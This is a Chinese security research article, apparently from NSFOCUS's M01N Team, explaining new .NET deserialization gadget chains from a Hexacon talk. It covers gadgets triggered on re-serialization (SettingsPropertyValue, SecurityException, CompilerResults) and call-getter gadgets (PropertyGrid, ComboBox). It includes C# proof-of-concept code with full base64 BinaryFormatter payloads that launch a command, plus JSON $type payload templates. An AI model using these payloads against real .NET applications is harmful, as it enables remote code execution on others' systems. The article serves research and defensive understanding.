引言
近日,Hexacon会议上安全研究员Piotr Bazydło公布了.Net反序列化的研究,其研究内容包括SolarWinds的一系列反序列化漏洞发现和黑名单的绕过,不安全的序列化利用,.net framework和.net5利用链。在.Net Framework这一方面,他把不安全的序列化gadget结合call getter gadget起来,形成了新的反序列化链,绕过了传统反序列化攻击的防护思路,扩充了攻击面。本文主要对不安全的序列化和call getter反序列化链加以介绍。
01 不安全的序列化
设想有这样一种应用场景,服务端接收序列化的字符串,反序列化为对象obj后,对obj进行修改,然后再序列化,发给客户端。那么可以利用的点如图所示。传递给服务器一个序列化对象,这个对象包含了恶意的getter,反序列化会正常进行,不会执行恶意操作,但当再次序列化时,便会触发getter的调用,从而造成恶意操作的执行。当然,这种场景下使用的formater都是基于setter、getter的,如Json.Net,而BinaryFormatter、SoapFormatter等不属于。这种利用方式与以往是不同的,通常反序列化链在反序列化时就触发了恶意操作,而此种利用方式是在序列化时触发恶意操作。
议题提出了3个可以在该场景下利用的序列化链:SettingsPropertyValue、SecurityException和CompilerResults。
1. SettingsPropertyValue
该类 get_PropertyValue 方法在特定条件下会调用BinaryFormater.Deserialize(),而这个特定条件用户可以控制满足,因此可以调用任意binaryformater的gadget链。
首先Deserialized属性必须是false。
其次,SerializedValue不能为string。
这条链在.net core中是失败的,原因就在于下图,检查了BinaryFormatter是否被允许,而在.net5及以上,BinaryFormatter默认被禁止调用。
最终payload如下,执行便会弹计算器。
SettingsProperty settingsProperty = new SettingsProperty("Test");
SettingsPropertyValue settingsPropertyValue = new SettingsPropertyValue(settingsProperty);
settingsPropertyValue.SerializedValue = Convert.FromBase64String("AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=");
settingsPropertyValue.Deserialized = false;
var s1 = JsonConvert.SerializeObject(settingsPropertyValue, new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.Auto });
异常报错是因为反序列化执行后返回了null,PropertyValue没获取到值。
2. SecurityException
该类get_Method 方法会直接调用BinaryFormater.Deserialize(),但序列化链使用需要满足两个条件。
-
服务端使用的反序列化器支持Serializable;
-
服务端使用的序列化器不支持Serializable或者getter调用优先级高于Serializable;
为什么需要这样的条件,是因为该类实现了ISerialize接口,实现了Iseriazlie接口的类都含有特定结构的构造函数和GetObjectData函数,GetObjectData用于序列化获取成员值,特殊构造函数用于反序列化给成员赋值。
假定应用场景里反序列化器和序列化器都是基于setter/getter,那么反序列化时会触发set_method函数,如下图所示,它会调用SecurityException.ObjectToByteArray把Method传递的值进行二进制序列化,而Mehod已经是序列化一次的,相当于现在m_serializedMethodInfo储存的是两次序列化后的结果。接着序列化调用get_Method,会把m_serializedMethodInfo做一次反序列化,整个过程结束,Method值相当于根本没改变,并没有被反序列化。
如果上述场景下,反序列化器支持Serializable接口,那么在反序列化时,就进入构造函数而不是setter,可以看到,构造函数里直接把Method值赋给了m_serializedMethodInfo。
序列化器不支持ISerializeable接口或者getter调用级别比Iserializeable的GetObjectData高,那么就会触发get_Method执行,从而反序列化传递的payload。
payload,使用的是JavaScriptSerializer,不支持Iserializeable接口。
SecurityException securityException = new SecurityException();
FieldInfo f = typeof(SecurityException).GetField("m_serializedMethodInfo", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic);
f.SetValue(securityException,Convert.FromBase64String("AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAAcvYyBjYWxjBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs="));
var s =new JavaScriptSerializer().Serialize(securityException);
3. CompilerResults
该类 get_CompiledAssembly 会导致任意dll的远程加载。需要注意的是,Assembly.LoadFile在 .NET Framework 4以后默认禁止远程加载,而.net 5以上是可以的。加载的dll可以是assembly,也可以是native Dll。虽然nativedll中dllmain中代码会执行,但是加载nativedll会报PE格式错误。
02 call getter反序列化链
除了序列化利用链,议题还扩充了反序列化利用链方式,通过结合4个强大的call getter gadget和序列化利用链的2个gaget,便可以实现8种新的rce反序列化利用链,进一步扩大了攻击面。
所谓call getter,就是可以调用任意属性的getter方法。下表展示了4条攻击链及适用范围。
1. System.Windows.Forms.PropertyGrid
该链会迭代调用指定object可用的getter。利用payload如下
{
"$type":"System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version =
4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089",
"SelectedObjects":
[
{
"your object"
}
]
}
2. System.Windows.Forms.ComboBox
该链会调用指定object的MaliciousMember属性的getter。
{
"$type":"System.Windows.Forms.ComboBox, System.Windows.Forms,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"Items":
[
{
"your":"object"
}
],
"DisplayMember":"MaliciousMember",
"Text":"whatever"
}
原理: 反序列化器调用set_Text setter,该setter会调用Items中指定对象的指定成员getter,指定成员由DisplayMember字段设置。
set_Text如下,第一个if判断会直接为true,具体查看ComboBox构造函数。走到红框处调用 ListControl.GetItemText ,其参数selectedItem是 Items 中的对象。
GetItemText会调用FilterItemOnProperty,这个函数会从触发我们设置的DisplayMember字段对应的getter。
Find函数根据DisplayMemeber寻找PropertyDescriptor
GetValue则会触发DisplayMemeber的getter
System.Windows.Forms.ListBox、System.Windows.Forms.CheckedListBox 和ComboBox几乎一样。
把4个call getter gadget和2个序列化gadget结合起来,就可以形成常规的反序列化利用链。ysoserial.net工具已经实现了上述利用方式,对应GetterCompilerResultsGenerator、GetterSecurityExceptionGenerator、GetterSettingsPropertyValueGenerator。
03 总结
白皮书关于序列化与反序列化的大部分内容是基于.Net Framework的,它提到在.Net Core中,序列化链利用存在诸多限制,目前只有在WPF或引入了PresentationFramework.dll的情况下,存在反序列化利用链,web应用尚不存在或未公开。但在后续研究中,可以考虑从影响力大的、流行度高的第三方库入手,寻找漏洞。
附录 参考文献
[1]https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf
[2]https://learn.microsoft.com/en-us/dotnet/api/system.security.securityexception?view=netframework-4.7.1
绿盟科技天元实验室专注于新型实战化攻防对抗技术研究。
研究目标包括:漏洞利用技术、防御绕过技术、攻击隐匿技术、攻击持久化技术等蓝军技术,以及攻击技战术、攻击框架的研究。涵盖Web安全、终端安全、AD安全、云安全等多个技术领域的攻击技术研究,以及工业互联网、车联网等业务场景的攻击技术研究。通过研究攻击对抗技术,从攻击视角提供识别风险的方法和手段,为威胁对抗提供决策支撑。
M01N Team公众号
聚焦高级攻防对抗热点技术
绿盟科技蓝军技术研究战队
官方攻防交流群
网络安全一手资讯
攻防技术答疑解惑
扫码加好友即可拉群
原文始发于微信公众号(M01N Team):.Net反序列化之Call Getter